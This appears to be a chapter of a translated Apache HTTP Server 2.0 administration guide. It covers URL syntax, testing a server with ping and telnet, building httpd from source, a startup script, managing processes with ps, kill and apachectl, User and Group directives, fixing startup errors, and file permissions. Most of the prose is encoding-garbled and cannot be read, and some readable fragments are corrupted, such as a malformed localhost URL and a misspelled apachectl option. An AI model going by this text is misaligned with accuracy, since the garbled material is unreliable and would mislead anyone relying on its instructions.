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�1�&��� .��]! ����� ��   q0! � �  B,�   �1� 2 �p #��2�        #&�	 �� 2 �p Fp �� �,�  #u.��!
w	 ��d�2�.

logs
� :�/;<� B,�&"�w.2�#�) ����2�����1 � �� (,�#&�	.

cgi-bin
  B,�&��&����2���CGI ���  .�" �,�.�	 ������ �� � �""  ���&����2��� ����� 6 #��>�   �p 

�� , �  ��	 �� )�	_�    1�	 �	 )2�2 ���� �  ������12 �� �n��1��   �� � ,�#.�& .�,� ��]� �����
>	�� �p ��� E�, �"��� 2 �1�& 
� ��  )� 2" �s� … /htdocs�� � �"
�!(#�&�X. .

2 Y%� �� 	 ��q������ �p �    Z�� _     �	 )2�2 ��u�2��IP       2 n#u& �Vu0,  n#u.���
��#�	�q� . ��#�p .    2�� �� F�"  ���� �����12 z�  � �u���� � )�  ��u�"��#��U]! � )�  u� B
,�#�p .    2 2� �, #/��d �� F9�n#.���� �#�	�q���	 ���	 y���, B�/ J�s.� �����  u�2�  �u	 

 n2�-��� ����12,�#�p .
U^� M���p��� �X�� O�< �� " gn#.���� �#�	�q� J�s.�  u,� 2�u& .   2�#u$ �� �uX��@RR

2"�p���) "  � ���2 ��#�	�q� ( �1� 2�  �2�2 .  2�#Y! �� �X��� _� " . ���  �1� 2 _�    J�w�� �p 2�2 �
���� )#,� ~�	�,���. n2�-��� ��.� �� #.��!"#.

WXb X !9#87	#<���HTTP ��� ��Y���
�w��,�  �p�����  ���	,�  �2�&��n��1,�     � �	 � 2�1 ����12 #.��!� #���-	 .  � ����12 �
 �< ��"  g"  zURL   n2����� ,�     �	 ~��Y, �p 2�&http:  {��&,�  ��. � 2�&" �w.� ��,#u1  �u�� 
� �p���� )� )����1  . �,�2�URL� :�^ �	 "��� �:

//<user>:<password>@<host>:<port>/<url-path>
 2RFC 1738�� ���� n#,� 
:

uu" z tuuV	uu" ��uu0V	 J�uu�! ��"<user>:<password>@" � 
":<password>"  �  �"/<url-path>"#.�& \x$ ��� 
q�,  .� u" 

   �V0, Z�,�     �	 n2�2 �p #�p"//"   {��& ,�   �p 2�&  g	��, �].

� M��Y,"��� �.���.

1 Web site
2 Directory
3 Client
4 Shell scripts
5 Webmaster
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���,� 2 �	"  )#http: � �,�  �	 �p 2�	"   �� #2�2��dHTTP  ��. n2�-��� "# .n��1��    �u	 F9u�
"  z����� J�. 3 =2� � ����� =��! IP, �, � )�	_�#��� ."��	 Z� z���	 �   J�u. �uX�/� 
,� ���2 �� n2�-��� )�	_ping 2 �.�,����� B,�/ :

ping www.apache.org
, )� ����� 2 )�	_"� �	�0, �#&�	 �.���"2�2 #���1 ���� 
:

Pinging www.apache.org [63.251.56.142] with 32 bytes of data:

Reply from 63.251.56.142: bytes=32 time=278ms TTL=49
Reply from 63.251.56.142: bytes=32 time=620ms TTL=49
Reply from 63.251.56.142: bytes=32 time=285ms TTL=49
Reply from 63.251.56.142: bytes=32 time=290ms TTL=49

Ping statistics for 63.251.56.142:

URL,�    . � n��2 n��& #.��!�   d2 �< �	 _�  #�p �V0, g . !�^ 2�       n�u�2 n��u& �up 
    � �< �	 �#&�X. �V0,�   ��� t80 ��� . ��	 �    M�uk, http://www.apache.org:8000/  �u	

 n��& n��28000, � B��, )�	_,�2�& .
URL �� �   n���� �0"  z>,�  �$ ���� ��    of� ��� "  z /#&�	 . � ���"  �V0, E� 
   n#u0. 

 �#&�	������ �< �	 �t>, ���� � � / ���,�#�p .
  )��p�n��1��"   M��!� zTCP        n��u& n�u�2 �u	 8000 � �   =2� IP204.152.144.38

 � n2�p ��d�	��� J�"�< �� � �"� g" M��!� 
,� #����) �� ���HTTP 1.0 n2�-��� ,�#�p(
GET /some/where/foo.html HTTP/1.0<CR><LF><CR><LF>

�."�>���CR   � LF2>	�  #��>� E�, �� � "��� ��" #�HTTP �#  )� �.#	 �� � ,�#��p . ���
  ����12"  zPOST  n2�2 �#&�	 ���" . �     2����� #���1 )� M�X.2 �	 _ .�����  Vu��� �    Bu	�f, 2 

,�     � M��!� � #����,�2#�	 .��	� 2 "  )#�"   � �	 B�/ 
"       o1 2 � n#& B��, �.��� � )�,�� u" 

�p 2�� � ���2�#:

% telnet www.apache.org 80

> telnet www.apache.org 80
GET http://www.apache.org/foundation/contact.html HTTP/1.1
Host: www.apache.org

  �	 ���� 2" ��, #� X& �   � 
�, �	 �" X	 ����# .1�	�  � �� �n2��������telnet     ��u& �up � ��.�
�!"�,��p�. )�0. � #��#��2 .� �	�0, ���� Bp M�$ �� �	"2�	 #���1 �:

Trying 64.125.133.20...
Connected to www.apache.org.
Escape character is '^]'.
HTTP/1.1 200 OK
Date: Mon, 25 Feb 2002 15:03:19 GMT
Server: Apache/2.0.32 (Unix)

1 Name server
2 Carriage return and Line feed



E

Cache-Control: max-age=86400
Expires: Tue, 26 Feb 2002 15:03:19 GMT
Accept-Ranges: bytes
Content-Length: 4946
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
               "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd">
<html>
 <head>
  <meta http-equiv="Content-Type" content="text/html; 
charset=iso-8859-1" />
      <title>Contact Information--The Apache Software 
Foundation</title>
 </head>
 <body bgcolor="#ffffff" text="#000000" link="#525D76">        
  <table border="0" width="100%" cellspacing="0">
   <tr><!-- SITE BANNER AND PROJECT IMAGE -->
    <td align="left" valign="top">
<a href="http://www.apache.org/"><img 
src="../images/asf_logo_wide.gif" alt="The 
Apache Software Foundation" align="left" border="0"/></a>
</td>
   </tr>

</table>
  <table border="0" width="100%" cellspacing="4">
   <tr><td colspan="2"><hr noshade="noshade" 
size="1"/></td></tr>
   <tr>
    <!-- LEFT SIDE NAVIGATION -->
    <td valign="top" nowrap="nowrap">
           <p><b><a href="/foundation/projects.html">Apache 
Projects</a></b></p>
    <menu compact="compact">
          <li><a href="http://httpd.apache.org/">HTTP 
Server</a></li>
          <li><a href="http://apr.apache.org/">APR</a></li>

<li><a 
href="http://jakarta.apache.org/">Jakarta</a></li>
          <li><a href="http://perl.apache.org/">Perl</a></li>
          <li><a href="http://php.apache.org/">PHP</a></li>
          <li><a href="http://tcl.apache.org/">TCL</a></li>
          <li><a href="http://xml.apache.org/">XML</a></li>

<li><a 
href="/foundation/conferences.html">Conferences</a></li>
          <li><a href="/foundation/">Foundation</a></li>
        </menu>
...... 
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WXc X��� dU9�
  U^� Z� �2� ��	 �  ���� y�. �  2�2 2� �  :�x��	�n#.��� �� � �"  � y���, "�x��	 ��  
�u, 

U^�� � �� �!3 )2�p )�.
WXcXWX!���/��� )��� �\

  ���� �1�� Z��   �V>. 2 @ �u� �V>. �1�� Z� ��� ���	 � ��� :��-�, ;,�p � uUXd �
�p Z�,��� ��# .�� �V>. \;1 �	�UXd �2 " �w �1�&… /src2�#. 2� � .� 2" �, �s� n#u.���

httpd-2_0_40.tar.gz �x��	 ��        �1�& 2 � )� � n2�p /usr/src/apache �	   2�up �"E .   �#u�	� 2
�	"  #n#.���INSTALL .��V	 ��# .  ���� �1�� Z��   )��p� 1�U� X& � 2 �"       ��u>	 � �u��_	� �uw
���J�. �_������ n#& .

n#.���� �#�	�q�g	��, � ���2 � "��>	 �"#:
./configure  --prefix=/usr/local

��	� n#��0, _� J��!"��� ���2 ��"�p 2�� � ��#:
./configure --help | more

 F9�� ���2"�p 2�� � ��#:
make

� :#, �p"2�� M�< ,�2�& �� � �! #0p .F9�:
make install

�. )��p�� �sn#.����� � �"httpd �1�& 2/usr/local/sbin��� .

1 Compile
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O�� TU, :
!�;�	 �����M ���� ���+�e��

   ���� y�. �� #Y	�     B�� 2 �p ?    )��p� ��& �#& ��-� "  zapache/httpd �1�2 � �2 �"# . ��u	�
#Y	 J���"� �.��. n�w	� z" 2�s,��p�E.

\XW X 7��� =(����� 7�8+� [�
   ��w. ��� ���	 �#�	��     ���� n�w	� n2�� �0� �	 � 	 ���#�"E . ���� n�w. ���"  n�uw	� z u"  �1�u& z

(directory)   2 " �  z�"� ������  ;ku, /usr/www/APACHE3/site.for_instance �u��  .
�"� ��� Bd�#$ �1�& 
"�! �� �p �2�2 �1�& ������ M�� �#��>� :

conf
 B,�&n#.���� �#�	�q�~��Y, �p httpd.conf  ��u�� �	 � ��� � u,��� u"    �u	 �u.�w� �up #
������12�#�2 ���� GU�V, .

htdocs
 �p ��.� �� � n2�2 ���Uq& �:�#��>, B,�&,����1� )��.��	�p �	 #�,#1�2�#.

logs
 B,�&n#.������� "����, �p ��� 2�#" ��.� 
n#.���error_log��� .

cgi-bin
 B,�&��2��&�.���3CGI���  . �� �����2��&�.. n2�-��� �����p�. #����� �	 " �1�& 


�#."#.
    2�#.���� y�. 2n#.����� . �  �1�& �	 _n�w	�9p �,���	 �p 2�&�  ��u�� )2�up �� � �  �u	

 �p,�2�.
\XWXWX	��	���� �)���, F< 
	 

� ���" �1�&�conf� B], 2 � �	 �#&�X. 2�1 ��� t"_� z"��	 �����Y, ����� �	 )� B], �
.��2 ��"#:

httpd -d /usr/www/APACHE3/site.for_instance -f...
 $ 2�   ��0��� 
q�, y�. 
� 2#Y�, � ��	 �  � ��& � 	 t�� u"     ��Uu�� 2 �up #�  Yu� #uY	 �

,��p��2 ���� ��.� �	 E�E .� 2"���� n2�� y�. of� �s�� ��d v]	 2�, ,���2�.
httpd_� "������ " � �,��� 2�)�" � :�/;<� 
,�.�!��� � �	 #�httpd –h w	 ��"#(

-Usage: httpd.20 [-D name] [-d directory] [-f file]
[-C "directive"] [-c "directive"]

                [-v] [-V] [-h] [-l] [-L] [-t] [-T]
Options:

-D name           : define a name for use in <IfDefine name> 
directives

-d directory      : specify an alternate initial ServerRoot
-f file           : specify an alternate ServerConfigFile
-C "directive"    : process directive before reading config 

files
-c "directive"    : process directive after  reading config 

files

1 Scripts
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-v                : show version number
-V                : show compile settings
-h                : list available command line options 

(this page)
-l                : list compiled in modules
-L                : list available configuration directives
-t -D DUMP_VHOSTS : show parsed settings (currently only 

vhost settings)
-t                : run syntax check for config files (with 

docroot check)
-T                : run syntax check for config files 

(without docroot check)
  ���� n��� ��X���   #! �	 ~��Y, "  �V>. 2 ���� #  " _� �!#" �u� �u��"    ���u%�  u,�   �up #u��p

,��� � �	 )��!�httpd -?#& jU�, ��.� �� .
\X\ Xsite.todle

   
�&�2 )�#	"   � �p n�w	� z"2�� . ��  ���� �	 )��!�  2�2 J�s.�  .��	� U�/ �  ��,�� )#& � ̂ �! � �
 � �n#&"  �1�&�/usr/www/APACHE3/site.toddle � "           ��u�p n�uw	� �� �up n#u& 2�s u,�  )��u!
�x��	� �p �# . � ��� 
q�, �p �s.� ��" �1�& �site.todle�  2 � �2 "�w�� "�p 2�s u�� �# u" 


>,� �	 � � ../ �../site.todle )�0. ,��2�E.
  2../site.todle  � �� "  ���� �p �1�&��   � 2�2 �}�.� "    �u�� n#u& 2�s :conf  �logs � htdocs .

 2n#.���README �1�& "���� �0��� �n#& ��-� 
:

The next step is to edit the configuration files for the server. In the 
subdirectory called conf you should find distribution versions of the 
three configuration files: srm.conf-dist, access.conf-dist, and httpd.conf-
dist

  �p �s.� ��#����� � ������NCSA )���/ �	 �n2�	 ", z u� �� ��� ��u���NCSA ��u�� ��
�"  
n#.���   � ��,�x�"�"# .��� �d " ̂ �! ��  �,�    ��� �p 2�&��#�	�q"��    2 �  n#u.���httpd.conf

     �2 � n2�2 ��dn#.��� 2 "   �p \x$ � �w�# . � 2"     #, � )2�p �p :�^ 
"�")��� )� �  #u���1 �!
#&.

n#.���README ��$ � ̂ �! �����" ��	 � � "��" � t"  
n#.���           �u�.� �u	 ;uY� �up �u�� ��
�p� �#. "E .^�!� UY� �� � "   ���� �p ��� 
�   � )�#	 � � � ��#�	�q�X	 � n2�p �� � ���  �u� �p #
��_��$� �2�2 K�.

7�9���� ���+�e�
    ���� �p )� �� BXd�    .�� �� )�#	 �  � ��#�	�q�  ��. �� � �" �	 �#" !�q. #�     �->U� n�	2 #�� n#.���

��#�	�q� .�#	 �# .�����   � �< �	 �    �	 ��� t"  zn#.��� s$ � � E�#�	�q� )� 2 �p ��� n���� 
    �p ��.� ��"    ��	 ��� 
q�, �	�p z� � �#�	�q�. ���� n#,� �#&�	 ��&�2 �� . ��& ���" n��! z

 �>� �p� >	 �#��� � � ��0V	 � � "  
n#.��� ��	 �	 ��& � 2�u	 #���1 ��Y,  ! ��	�u�	" u>	 
�  �u��	 �
     �	 ��� 2�	 #���1"  zn#.�����#�	�q� z��p   �p {��& �      2��u, )� �u	 � #�    . �up �  u� �2 �� u" #

�p ���%��#.
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\Xa X���+ )���
�����
,�  _� �	 )��!"  ��–d        �u	 � �}. 2�, n�w	� httpd  u��Y, �    2�up )  �p �ud2 u�    u>, �up #�   Bu,�p �

site.toddle&�, 2 ��� 
q�, �#&�	 :��-�, ��& 
(.
% httpd -d /usr/www/APACHE3/site.toddle

   � �p �s.� ��"     ���1 J�s.� �q, � �p 
�      )�2 � )� 2�2 E"  z��2 ��u&�.      J�u. �u	 go   ��ud 
,��2�E .�" 
n#.��� �1�& 2 � /usr/local/bin ��d ,��2�E:

% cat > /usr/local/bin/go
test -d logs || mkdir logs
httpd -f 'pwd'/conf/httpd$1.conf -d 'pwd'
^d

^d )�0.   n#��2Ctrl-D   ���.� �p ��� � 2�� �    �V0, � ,�    );u/� �u	 � #�p �.�,�u�  �u	 
,�22�� .n#.���go��	�     �p n�w	� �� ,�#�p .�"  
n#.���   �1�& logs    !�u^ 2 � �     2�u � �up 

  � �#&�	 ��&�#."  2�s,�    �^ �< �	 � #�p"  u>, ��    �1�u& �ServerRoot)   _� �u	"   �u�–d (  u>, �� �
n#.��� � �#�	�q�)  _� �	"  ��–f (  �V0,,���."# .  ���2'pwd'  UY� �1�& �)  �u � (   �Vu0, �

,�#�p .�."�>���`(back-tick) >	 �  #��>� E�, � :    � �� n2�-�u�� �	 u" �. 
" �u>   u, �u��   �� )��u!
 ��1�   ���2 pwd  2  ��2.��&�2�p n2�-���  . �,;/$1#.�.�0.��� �  ��u�2 �	 �p go n2�2 

,�9p � 2�&�,�#�p .��	��	" ���2 
./go 2 n#u.���� � #u�	�q�httpd2.conf   #u���1 ��u � �
 � 2��../go )�#	 #.�.�0.httpd.conf2�p #���1 �� � �.

   &�	 ��&�2 �<�1 �	�  �	 �p #"    &�	 n�w	� �1�& 2 #�# .  ����"    
��2 ��u&�. �u  �� �2 " �uw�  ��u � 
���� �2�&�� "� 
�2�2 #���1 � ��1 J�i:

'could not open document config file ...'.

  � ��� �	"     �1�& 2 �p 
./site.toddle&�	�   ���2 �#�"  ���2��&�.  �� � � �"     � )� � n2�p 
��. �� ��"#:

% chmod +x go
% go

� ������1 J��� "2 � �"2�p ���"#:
go: command not found

�	 n�w.�"� ���2 #"��. 2�� � ��"#:
% ./go

�"  ���� ���2 
�   F� 2 � ,��   2�p #���1 �� � �� .��	�    �� � �� )#& 
���, �   )� ,�.��! u� #
� ���2 ��"��. n2�-��� ��"#:

% ps -aux
�"    J��! ���2 
#�"������     � � �� � M�$ 2 �  �> u,�   �#u�p   , 2 �up u�   �	 �u�.� )� u"  #httpds

��. n#��0,�"# .��	�.���	 �#Y	 �p )� ����� #���. Gd��, � �" ����& n��& �	 ##�"��� )� (PID)
.��2 ��", �p #�.��!� ���2 �	 #ps –aux��. �V0, � )� �"#:

USER      PID %CPU %MEM   VSZ  RSS  TT  STAT STARTED      TIME 
COMMAND
root      701 0.0 0.8 396 240  v0  R+    2:49PM   0:00.00 ps -aux
root        1 0.0 0.9 420 260  ??  Is    8:13AM   0:00.02 /sbin/init --



=Z

root        2 0.0 0.0 0 0  ??  DL    8:13AM   0:00.04  (pagedaemon)
root        3 0.0 0.0 0 0  ??  DL    8:13AM   0:00.00  (vmdaemon)
root        4 0.0 0.0 0 0  ??  DL    8:13AM   0:02.24  (syncer)
root       35 0.0 0.3 204 84  ??  Is    8:13AM   0:00.00 adjkerntz -i 
root       98 0.0 1.8 820 524  ??  Is    7:13AM   0:00.43 syslogd
daemon    107 0.0 1.3 820 384  ??  Is    7:13AM   0:00.00 /usr/sbin/portma
root      139 0.0 2.1 888 604  ??  Is    7:13AM   0:00.07 inetd
root      142 0.0 2.0 980 592  ??  Ss    7:13AM   0:00.27 cron
root      146 0.0 3.2 1304 936  ??  Is    7:13AM   0:00.25 sendmail: accept
root      209 0.0 1.0 500 296 con- I     7:13AM   0:00.02 /bin/sh /usr/loc
root      238 0.0 5.8 10996 1676 con- I     7:13AM   0:00.09 /usr/local/libex
root      239 0.0 1.1 460 316  v0  Is    7:13AM   0:00.09 -csh (csh)
root      240 0.0 1.2 460 336  v1  Is    7:13AM   0:00.07 -csh (csh)
root      241 0.0 1.2 460 336  v2  Is    7:13AM   0:00.07 -csh (csh)
root      251 0.0 1.7 1052 484  v0  S     7:14AM   0:00.32 bash
root      576 0.0 1.8 1048 508  v1  I     2:18PM   0:00.07 bash
root      618 0.0 1.7 1040 500  v2  I     2:22PM   0:00.04 bash
root      627 0.0 2.2 992 632  v2  I+    2:22PM   0:00.02 mince demo_test
root      630 0.0 2.2 992 636  v1  I+    2:23PM   0:00.06 mince home
root      694 0.0 6.7 2548 1968  ??  Ss    2:47PM   0:00.03 httpd -d /u
webuser   695 0.0 7.0 2548 2044  ??  I     2:47PM   0:00.00 httpd -d /u
webuser   696 0.0 7.0 2548 2044  ??  I     2:47PM   0:00.00 httpd -d /u
webuser   697 0.0 7.0 2548 2044  ??  I     2:47PM   0:00.00 httpd -d /u
webuser   698 0.0 7.0 2548 2044  ??  I     2:47PM   0:00.00 httpd -d /u
webuser   699 0.0 7.0 2548 2044  ??  I     2:47PM   0:00.00 httpd -d /u

��	�   ���� )2�p Gd��, �,�.��!�   ���2 �� #kill��. n2�-��� �"# .��	�� "�p 
#�"��� ����& 3

#�"���U^� ����� �� 2 �p " �s�694��. �V0, � ��� �"#:
% kill 694

 ��1 ����ps –aux1 �U� 2�	 �_	 ,�.��!� ���2 �	 #grep ��1 �� � ���. ��U�"#:
% ps awlx | grep httpd

� 2��$� �	 Fp���,�.��!�� ���! #"��. �� � � ���2 
�"#:
% killall httpd

 2 n�"  ���	 � �w� . �  2�2 2� � _.    ���� �p �  )� ���PID         u� �u< �u	 � 2�u1 �t   2 ��u�
n#.���../logs/httpd.pid , �Xh���."  # )  �	 �p2"�p�� �� �#�	�q�PidFile i! Bu	�d  u�� �u�� � ( �

,�.��!� #"z��2��&�.� #�.�, n2�� "��	 �">�#:
kill 'cat /usr/www/APACHE3/site.toddle/logs/httpd.pid'

�&" �! #��2 �� �p #" z��2��&�.Up �� #�.�, �!" J�. �	 �stop��	 ">�#:
pwd | read path
kill 'cat $path/logs/httpd.pid'

"  �. ��� �����1�  � �� #� #u�	�q"���    �-�u�� GuU�V,  ��. n2 u�"   �� �#.../src/support/apachect1
��	�   �� � "   ���� )2�p Gd��, ��   � �1�& 2 �t     ��. n2�-�u�� Z2�u1 ��� u�"#. _� " �u� �u��  )� 

�� #�!�X/:
usage: ./apachectl (start|stop|restart|fullstatus|status|graceful|configtest|help)

start
�� ��httpd

1 PID



==

stop
�� � Gd�!�httpd

restasrt
�� �� 2#s, httpd )2����� �	 +.�0.3SIGHUP � "�� � ���� � J#/ :�^ 2 )� .

fullstatus
��."Y%� B,�p t�. ��]-^ 2 �� �,�.�	 �	 ��lynx. � � )2�	 M�Y� _mod_status2�2.
status
��."Y%� �^;1 t�. ��]-^ 2 �� �,�.�	 �	 ��lynx. � � )2�	 M�Y� _mod_status22�.

graceful
�� ��   2#s, httpd)  ����$� �"�/ �	 (    )2��u��� �	 +.�u0.SIGUSR1   �  u"  ��u � ��   2 )� 

�� � J#/ :�^.
configtest

��	� �]. n#.���� �#�	�q�
help

��� �]-^ 
)������"_� n�	2 "����(
�w��,�   ���2 �p./go   2�p �� � � "  � �}. �	 �E�� �p #�^�1 e�-!� ��. ��-  u�� ��u�� n2��

�w��,�    �1�& �	 �plogs��w.� �1�#.� �  #& � ��, �E"   �p En#.���error_log ��u$�   � ou1  u" �
���:

[<date>]:'mod_unique_id: unable to get hostbyname ("myname.my.domain")

 � 2" � �s�"     �� � n�]. �U/ �	 Bq0, 
� ���� �   �w�� � ��� ,��"  � e�-!� 
�,�    �up #u�2
��" , z�   )�#	 )�	_DNS  ��. �� � �"# .n�     �p ��� )� B$n#.���/etc/hosts  ��"��"  n2�p t

� o1 �"��. ���%� )� �	 � ��"#:
10.0.0.2 myname.my.domain myname

 �p10.0.0.2 =2� IP�,�� "0�, ���� )�	_.
d�	 ���>, ���� ��X������ ��� � �� #Y	 �httpd��1 �	 �� "�	 �,��1"E:

[<date>]--couldn't determine user name from uid

 � 2" �	�p �	 �s�root 2�� �.�,��2�	 n#& "E .�/ �U/ �	"�,� �� ��u�� ���    �u	 �#u�	� 2 �up 
  �	�proot     �� � �	 {��& ,�  �	�p ����& �#�p�     �	 � 2�1 -1 i! ��  u, �� #u�2 .      ��u� �u	 {��u&
�	�p�root ��	 �     n��x� )2�p ��	 80 ���  . �	�p ����&�-1    �kp� 2  �.�,�u� �u�� u".�� Fq

�	�p �	 gUY�,nobody���  .
\XWX\X�� �+���_�� 7��M � f

     �	�up �p ��� )� �p n�� ��#  u"    n��u� �u	 �up � # �� � 2�2 guUY!"  u�p 2�us�E .  �us�"� 2
���,� . E�,�#��> �[U	              ��! � #&�	 ��&�2 gUY! 2�1 n��� �	 �	�p �p ��� )� E�,  � o�  Fp �

1 Signal
2 Webuser
3 Webgroup
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2"�w�    w. ��d n2�-��� 2�, �2� .   ��� ���	�����3  � �	 ��	�,"       �u	 � �	�up 
/bin/false i!  u�� �
�2�� �	 )���. �! #" �	 �	�p 
�.�,��#& 2��  . M�$httpd.conf� g	��, �"i! ����2 ��#:

User webuser
Group webgroup

2"�p��  �User  �	�p ����& �   �p �����   )� �]!  �V0, � 2�2 #���1 ���� ������12 �	
,�#�p .

User unix-userid
Default: User #-1 
Server config, virtual host

��	�   � �� n2�-��� "  
2"�p���  �	 �#�	� �"  #�����     )���/ �	 � root 2�p �� � .unix-userid" uq�
2�f, ��"� �" � �,���2�:

username
 � �}. 2�, �	�p �	 �V0, J�.,�#�p.

#usernumber
 n��& �	 � �}. 2�, �	�p(ID) �V0, ,�#�p.

 ���� ����    � �	�p �	 � ��root  �p �� � ��# �. �#.��!  �	�p ��� �      �u	 � 2�u1 
    �	 n#& �V0, �	�pUser��	��	 �#�2 t��p "
��� �	�p )��� �	 ��  �up �	 

, �,�2� 2�1�#�2.

 2 _���"�p��    �User) "  �Group (   �	 �root    u�2 �#uf, � �q.  u�     �uq.� �uw, �#
� :��<�V,"��Yd�� � �p 
���0	 �.�#	 � #�, �� �p #��p�#!

2"�p��  �Group   ����& �����N    �p  �����           2�2 #u���1 �u��� ���u���12 �u	 )� �]! �  � 
 �V0,,�#�p .

Group unix-groupid
Default: Group #-1 
Server config, virtual host

��	�   � �� n2�-��� "  
2"�p��  �  �	 �#�	� �"  #�����      )��u�/ �	 � root   2�up ��u � .unix-groupid
"q�2�f, �� "� �" � �,���2�:

groupname
 �V0, J�. � �}. 2�, n���,�#�p.

#groupnumber
 �	 � �}. 2�, n�������& �V0, ,�#�p.

��q. :� ���� ���    � �	�p �	 � �  �root �p �� �� �. �#�           �Vu0, n��u� �u	 � 2�1 n��� ��� #.��!
 �	 n#&Group��	��	 �#�2 t��p"��� n��� )��� �	 
�, �,�2� 2�1 �p �	 ��#�2 .

1 Shell
2 Group ID
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\XWXaX<�+�!g�?�� -1e(� 
 ���� )�!2�1 ���� � �� �!�p �1�	 #�� �� �t��2 �	 ��%��� �2�#uf, �.  u�� #.�u& . u��  �u	 �

��2��&�../go���V	 ��p �� � #�1�	 �	 �#�� #�.�, ����1 "���1 � ��, ��#& #:
fopen: No such file or directory
httpd: could not open error log file 
<path to site.toddle>site.toddle/var/httpd/log/error_log

�	"� o1 #" �	 � �…conf/httpd.conf�p ���%� �#:
ErrorLog logs/error_log

���� )2�p �� � �	 )� �� F��� �	 �� J�" 2 �…/logs/error_log���1 � ��, �#& #:
.... No such file or directory.: could not open mime types log 
file <path to site.toddle>/site.toddle/etc/httpd/mime.types

�	 �p"� o1 #" �	 � �…conf/httpd.conf�p ���%� �#:
TypesConfig conf/mime.types

���� )2�p �� � �	 )� �� F��� �	 �� J�" 2 �…/logs/error_log���1 � ��, �#& #:
fopen: no such file or directory
httpd: could not log pid to file <path to 
site.toddle>/site.toddle/var/httpd/run/httpd.pid

	 �p�"� o1 #" �	 � �…conf/httpd.conf�p ���%� �#:
PIDFile logs/httpd.pid

\XWXbX	��	���� � =3/ h'�9#�
���� ��� )��p���p �� � � �� �	 ��� 
q�, #���1 J��� "�& � ��, �"#:

PIDFile logs/httpd.pid

�	 �p"� o1 #" �	 � �…conf/httpd.conf�p ���%� �#:
ServerName <yourmachinename>

 ��. 2"    �p �� �� BXd �� �1�& ��        �	 � 2�2 ��ud �. 2�, n�w	� :�#��>, �p  u"  �Vu0, #
�p�# . � �1�&�  ���� ��� t�…/httpd/htdocs .  �1�&…/site.toddle/htdocs � � " � n2�p 2�s

n#.���1.txt��$�"Hello world!"� � "�p 2�s�# .� o1 F9�" �	 � �httpd.conf�p ���%��#:

DocumentRoot /usr/www/APACHE3/site.toddle/htdocs

n#.���� �#�	�q��	 � n#& B,�p )��p� "� :�^ �	 #"#&�	 �:
User webuser
Group webgroup
ServerName my586
DocumentRoot /usr/www/APACHE3/APACHE3/site.toddle/htdocs/
#fix 'Out of the Box' default problems--remove leading #s if 
necessary
#ServerRoot /usr/www/APACHE3/APACHE3/site.toddle
#ErrorLog logs/error_log
#PIDFile logs/httpd.pid
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#TypesConfig conf/mime.types

  �� � �	 )��p��httpd ��	" #�����#&�	 �p n2�,� ��  .��	���	 �  n2�up �� � � �� ����, )� 
=2� �������#	 )� �	 � �� �# :http://<yourmachinename>1

�. 2� �s������1�& �� �� �p DocumentRoot, )�0. �#���� #���1 ����, �	 � #�2.
\XWXcXi�������� 5A�Z� �
��	�2 " J��! )##�"������� ���2 � �� � M�$ 2 "�p �� � � ��#N:

% ps -aux

 , 2�  � 2�#Y! )�"2���"���#".��  �Fq" 9p z�   �� httpd  ���1 � � 2 #"    �up #     �u	 guUY�,root
  2�#Y! � n2�	� 2 "    �	 gUY�, �w �� �	��.  9p ��.� ����         ���u���12 �u}��, �up #��u>� �	�0, �

2���#��>�  .
9p� U^� �  n��2 �	 480    n#& B��, )��	��	"  
#�"������    �� E� )� #.��� �
�<  (��� �	

  �. Z�� )��#�2 .�"
       �p ��� )� �<�1 �	 root , � .����� :#d #.��!�2 #&�	 ��&���	 � �� " 

 . 
,� �p��> .U^� �U/�� �p " 
#�"����	 " :�^ �	 #root 2 �p ��� )� �2�& �� � ".�� Fq

n��2��� �� �"
   �� �!?R@7   ���! �root , �  #�p ��	 #.��!.     �� J�#p �� #�"��� �u��    #u.��� " uq�  �� 
�����$� &� M�i6"� �}�.� O #.�2  .  2�#Y! ���#�"�������}��, #&�	 Ep )  u� �u< �	�t  ��u�S �
  o��!2"�p��  �MinSpareServers   2 httpd.conf  , M���p �2�& (#�"���U^� �9p #�� �2 "  �uw

�" , 2�s�#�p .   2�#Y! ���#�"�������}��,�"    #&�	 2�& 2�)  � �< �	�t  ���?R   o��! � 2"�p�� �
MaxSpareServers   2 httpd.conf  , M���p �2�&( 1�	 �    , � ��.� �� �#0p.   ��� #�"��� U^� �  � 

 ���2 �	kill�p Gd��,�, #�	���2 �p #" �w#�"���. �� �#& #����1 Gd��, _:
% kill PID

 �� �p ��� ���	 ��X����2��&�.stop tV	 2 �p@(@(�p n2�-��� #& ��-� �#.
\XWXjX��
#k���9#�he
��	�    ���� )2�p �p ��2 �    ����s, �p ��� J�~ � ����2 �   �	 n#.���    �u�2 �u	 ���  u}�! � E

#.�& .  2�.�,�����".��  Fq  ��s, {�. �� )#.��1 W 
�&�. ��  �� � � 5  �2�2 2� �.� "  �u���s, 

 ~ �� 2"&� �	 ��, n2�2 �X>. ���#.�& :�p2 � n��� ��	")��wL . ���n�w	����   yu�. � �u.��.
&�	 n2�p� �1�& �	 #…/site.cgi/htdocs� ���2 � ��� "�p 2�� � ��#:

?.     �, #&�	 
�&�, )��� �� ����� ��� �p #��p � �! �� #�.��!/127.0.01://http�"/localhost://http n2�-��� 
2�� 2� � �	 Bq0, ��� 
q�, ���s, ���.�	_�, �� n2�-��� J�w�� 2 �p 
"� ��� #��p.

@. �, ��X��    ���2 �� #�.��!pstree       #� ��1�� �p #��p n2�-��� Fp���� 2     )�u�, �#.��� �  #u�"���   )�u0. � �u�
�,#�2.

3 Port
4 Busy
5 waiting
6 Read
7 Write
8 Execute
9 Other
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% ls –l
 ��1�� :�^ �	 )� "#& #���1 �:

-rw-rw-r-- 5 root bin 1575 Aug 15 07:45 form_summer.html
����   �,;/ 
–  , )�0. �  � �p #�2"  
"  zn#.��� ���Y, � ���  .2"      M�� )��u� 2 \��$ �w
����s,�����2 �� �	 " 
n#.���, )�0. � �#��2� :�^ �	 �p "��� �:

Read Write Execute

User (root) Yes Yes No

Group (bin) Yes Yes No

Other Yes No No

  �1�& 2�, 2 �p ��� )� E�, ��q. ��)�2"��p�� ( ��s,x �u�Y, �	 �  )�uq,�  �u�" � )� t
�1�& �	 )� �� x����U1�2 ���� �!.
   � 2 �p ��.�" ��	 �s��    ����s, ��� E�, �, �)��w"2��� .      ��u�� �up �us.� ���     ��u� �u	 

�	�p�  �� �	�� � �� n���  �	n#.��� ����2 ���  ����s, �2�2 �)��w"2Y!��     ��u� n#u��p 

����2���������� � �	 n#.���2�	 #���1 ��.

